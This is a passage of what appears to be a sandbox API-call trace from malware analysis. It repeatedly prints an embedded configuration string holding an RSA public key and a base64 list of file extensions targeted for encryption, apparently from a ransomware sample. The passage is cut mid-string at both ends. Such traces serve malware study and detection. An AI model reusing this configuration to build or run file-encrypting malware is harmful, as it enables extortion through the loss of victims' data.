LmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.401] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.401] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.401] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXR